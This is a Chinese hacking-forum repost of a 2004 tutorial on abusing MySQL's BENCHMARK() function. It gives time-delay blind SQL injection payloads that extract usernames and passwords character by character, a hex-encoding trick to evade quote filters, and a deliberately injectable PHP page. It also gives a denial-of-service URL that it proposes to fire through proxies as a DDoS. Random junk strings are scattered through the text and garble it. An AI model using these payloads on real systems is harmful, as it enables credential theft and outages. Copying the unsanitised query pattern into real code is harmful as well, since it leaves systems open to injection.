找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2557|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
7 g  n! e) {$ |  a7 B, k+ p- M$ m本文作者:SuperHei! f$ w4 S, l9 t) e" O( j+ ~
文章性质:原创0 {$ h! p' D  a& g- f
发布日期:2005-01-021 V3 N  y7 @6 s; `3 Q, T4 A- ?$ M
完成日期:2004-07-09
" i$ l# @8 s, c5 S5 @+ {5 A7 d$ t* Q: S第一部% E; I+ f: [1 h5 v: J9 n# O$ q( l
% g8 F% U7 U5 K' O1 l" J
利用时间推延进行注射---BENCHMARK函数在注射中的利用 $ Z% |; `7 _& G* v

8 K1 s; ?! ~6 P( E# X; F- U一.前言/思路
" J' Q$ _; t- R8 z$ F( |2 V
# {" T# H' ]& T  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
: o. y2 @. v' k8 i# X- h+ C
; e6 M1 t; s' J6 C  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。+ {; n+ W7 W/ o  [' J! |
, H+ w- s9 g: p( L
二.关于BENCHMARK函数$ L% y4 ^: V, d, v% f2 I, O6 H

- t) |4 J4 G0 n3 Y- ~  在MySQL参考手册里可以看到如下描叙: 6 E6 c0 ]/ K& i0 [

$ i" K) H/ i0 @
. ^$ Q% D+ `, t! |+ t% l1 w--------------------------------------------------------------------------------& C, J! B# t% S/ b  d
/ g; \4 ~; k" y; P  h# d- b* q
BENCHMARK(count,expr)
/ U: @, _9 X6 w$ w* OBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
( W% F7 h; Y) ~" P8 a6 Vmysql> select BENCHMARK(1000000,encode("hello","goodbye")); 6 O5 c" s3 `5 o+ C+ J: k7 B2 U; N
+----------------------------------------------+ * p( C8 H7 W6 |$ N$ I! m' C
| BENCHMARK(1000000,encode("hello","goodbye")) | / L1 i; [. j# C
+----------------------------------------------+ & G! N3 L7 ]" p* j2 x+ q  _  W
| 0 |
% [% l7 Z# N" c0 Y0 X  c. z" s+----------------------------------------------+
# n  ^0 X, d5 C% r3 Q: v1 row in set (4.74 sec) 1 {* O' w7 b, x8 R7 ?( U
: d9 K( ~, P% B/ X$ J- Y9 {5 T1 ~$ W3 a
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。- D) f/ _* y$ r

' o7 e2 h# F7 Y$ W- W$ j: z  Y' P+ U0 t+ n+ F8 i
--------------------------------------------------------------------------------
4 ]4 H- g; v4 P! }1 P% p" M
* C2 ^/ r/ }9 l  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
, V* i/ k7 y* x% U# |7 {$ z0 ?+ b4 X4 Y* l0 c
mysql> select md5( 'test' ); . V/ I/ _. M8 c8 Q1 D
+----------------------------------+
) J2 H9 `) y: ~| md5( 'test' ) | # g7 I2 `( o  n, d4 V0 m( G
+----------------------------------+ ) }6 O2 Z) I, G3 [2 {7 v
| 098f6bcd4621d373cade4e832627b4f6 | % u* j. U9 x/ S# d, k# M
+----------------------------------+ & S  U, q. x! M2 x. T4 ~
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
/ i0 u$ L: P+ a' }3 `; I/ j& U6 }+ w7 s! ^9 V( u! n
mysql> select benchmark( 500000, md5( 'test' ) ); 3 o$ @+ e( u# K9 Y
+------------------------------------+ ; ]- n9 |0 v; h% i! S" Z
| benchmark( 500000, md5( 'test' ) ) | $ q7 W( ?& c- U+ W3 ]
+------------------------------------+   q$ Q9 i) Z6 v, K
| 0 | : |$ a( z. l4 B
+------------------------------------+
! M; k0 p3 T$ k, ~1 row in set (6.55 sec) 〈------------执行时间为6.55 sec5 r* ?  B6 ^. P' X8 G/ j

% R: M, m$ c8 v4 Q$ Y' p4 g
& ?7 K9 [- v* \  c' ~% {# ^8 y; o  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 $ o+ M8 w9 O- m' u: X
; D7 I/ X) \, a" ?6 d% s+ n, d
三.具体例子6 l8 _2 \$ i! k2 I/ W2 p

% x+ E, t3 ^5 @/ b$ P  首先我们看个简单的php代码:
7 a1 g# A( o) B, z# Z
6 d- ~) S' A! |: W) Q2 S' j< ?php 3 A+ ?- E2 {! l& e  j* J1 E
$servername = "localhost"; ! N( H3 j  \& d2 G
$dbusername = "root"; ; F6 m2 g; K4 I5 A, }& `7 V
$dbpassword = "";
! h$ G! c9 u% X$ v8 j$dbname = "injection";
4 e$ b% H, \1 _8 c. h( G5 k( M! J1 S  J& |& m. {5 r8 K+ p; t2 ]1 O
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
. j7 o( T( ~2 n% ~6 P: [# `
% i3 V9 }( J9 V0 {" Y; q& ?3 I' K$sql = "SELECT * FROM article WHERE articleid=$id"; ' f' R* x6 y- m6 `; Y5 p
$result = mysql_db_query($dbname,$sql); + {% ~; V4 ~: S, f4 s. b
$row = mysql_fetch_array($result);
! U( Y5 {2 x" g! S, ?' ~, s0 y2 A' @1 p! E/ ]8 ~4 G
if (!$row)
& i9 @4 D# B3 w; n! H- D{
4 c% k7 A6 Q" \$ d% O+ Mexit; % s) ]- U8 i" h% W& A9 S; |
}
0 H, b  ~$ d. b5 V?>9 [/ V' L% N6 m
5 s! R) ^) w1 T; q# x& i. q

6 Q* t* m( x" O" I  数据库injection结构和内容如下:
( y7 U, o/ T& @! p/ X3 e' O" d  r8 v$ M( l; K0 b/ ?( H: ^% v
# 数据库 : `injection`   I" B4 n# _7 W# _
#
1 G; g0 K8 F+ l. H5 b0 _5 i( q% ~$ w: M5 H" \7 V
# --------------------------------------------------------
# a' S# q  F4 E: v% w! m8 ^
: [" ?4 `8 O* l) t8 L* W- w: N# + ?! f2 u/ k% E$ L/ X
# 表的结构 `article`
4 N$ y1 d4 q2 {# * [: b7 b, a- o

. A& x5 ^5 i- t' VCREATE TABLE `article` ( 2 n4 g6 V: {* ^0 l
`articleid` int(11) NOT NULL auto_increment, % Z+ s  E9 ?1 w1 m9 L
`title` varchar(100) NOT NULL default '',
8 B. g8 R, H0 o. {`content` text NOT NULL,
* ^& Y6 U0 ^, Q7 {# U6 s( LPRIMARY KEY (`articleid`)
- A$ b5 C8 {* Z: w" ^) TYPE=MyISAM AUTO_INCREMENT=3 ; 2 i6 w+ Z/ ~% `3 t; y

, ]5 @2 O. D; K, v: X" c#
0 ~, u1 O. f0 a5 x* s1 W4 V# 导出表中的数据 `article` 0 n; G! w$ r7 {0 u1 [; p$ R% [; e" A
# # f. j  f& }* n

  S! C% _1 G9 d. F  |# oINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');   v# y( z; E) p9 c
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
5 }& n. M  I4 d! j
' L+ T: E# t8 G1 J- B3 K# -------------------------------------------------------- , w  ^$ H& ]1 J9 |1 Q

% l* i. B) W% f& y#
, m/ j, l0 M$ o' f7 _+ {# 表的结构 `user` ; m4 y$ I. U0 a
# ! U! q* s% `4 w6 z
: q1 d/ o* y& @$ i7 }0 f
CREATE TABLE `user` (
6 u! D) S3 \$ R4 C, n$ N`userid` int(11) NOT NULL auto_increment, # r; c! t# A# x+ W2 r7 o+ d$ i
`username` varchar(20) NOT NULL default '',
" L9 y4 a  F) i7 G6 G. q1 d/ R7 y`password` varchar(20) NOT NULL default '',
( F. z" X4 f! y! n1 P4 _1 xPRIMARY KEY (`userid`)
" ]) [; ]2 y3 b6 X- r) TYPE=MyISAM AUTO_INCREMENT=3 ;
2 }3 K! k, {, u# @& c9 g0 N% I$ m3 J
# * B) K, C6 Z! l, \5 X
# 导出表中的数据 `user`
; e- f, P7 x& Y! G4 _# " D) {% W, L) j; P6 I! H

! X6 j. S, Y$ F* F1 AINSERT INTO `user` VALUES (1, 'angel', 'mypass');
$ T  l( G7 ^: ?7 x6 s( MINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');0 s6 O+ o6 I8 j; E* i- p

; c# a( `7 ?  {2 Z) I9 i* F) x" B9 ~- g9 C0 L
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:( L/ J% O: u7 \. @" V% Z& c

# K. @, J: Q" W$ K- Sid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /** o4 L6 H( ^7 P5 E( W

3 F0 m- ~; ]6 J0 M/ ?2 h4 S9 B3 L9 t8 ]3 V$ e
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:5 Z- p8 I$ {0 K6 u5 Y" P3 z9 A
: N. f% ^* i5 ?6 n
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*  Y, J% |0 m% O
  M/ c8 F$ o2 P% A
9 C3 s9 l9 i; E9 Y% c5 l7 e$ K
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
+ _# \) S* M+ f/ @: {$ ]- [( S; Z( U. `6 f2 S4 g0 h" k2 F
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 5 G! F- p' y6 ^
: ?0 [; f, U) L( r- W
第二部
( u' L$ d, F8 s" ]
7 Q" _( z$ i6 o, p6 F8 x7 G+ t- u2 l利用BENCHMARK函数进行ddos攻击 . r5 d) y  [7 _& Q1 Q9 H7 Y
' j1 [1 s% t# M
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
3 a& u8 p8 a6 [; J% l5 A7 s# y% o  m2 {, R3 W
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))& |. ~* k! ~  ?; v# W
: ^! u5 l! E2 `- P

" m/ P, \6 j6 R  n; j小结+ x. M; s( V) K9 g
0 A& ~# n' u: e' J
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
% S7 H. s6 T. I9 K
* b1 ~# s* s" C5 H3 I  
* {8 Z+ ~3 A; [' b' j9 G* _; ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表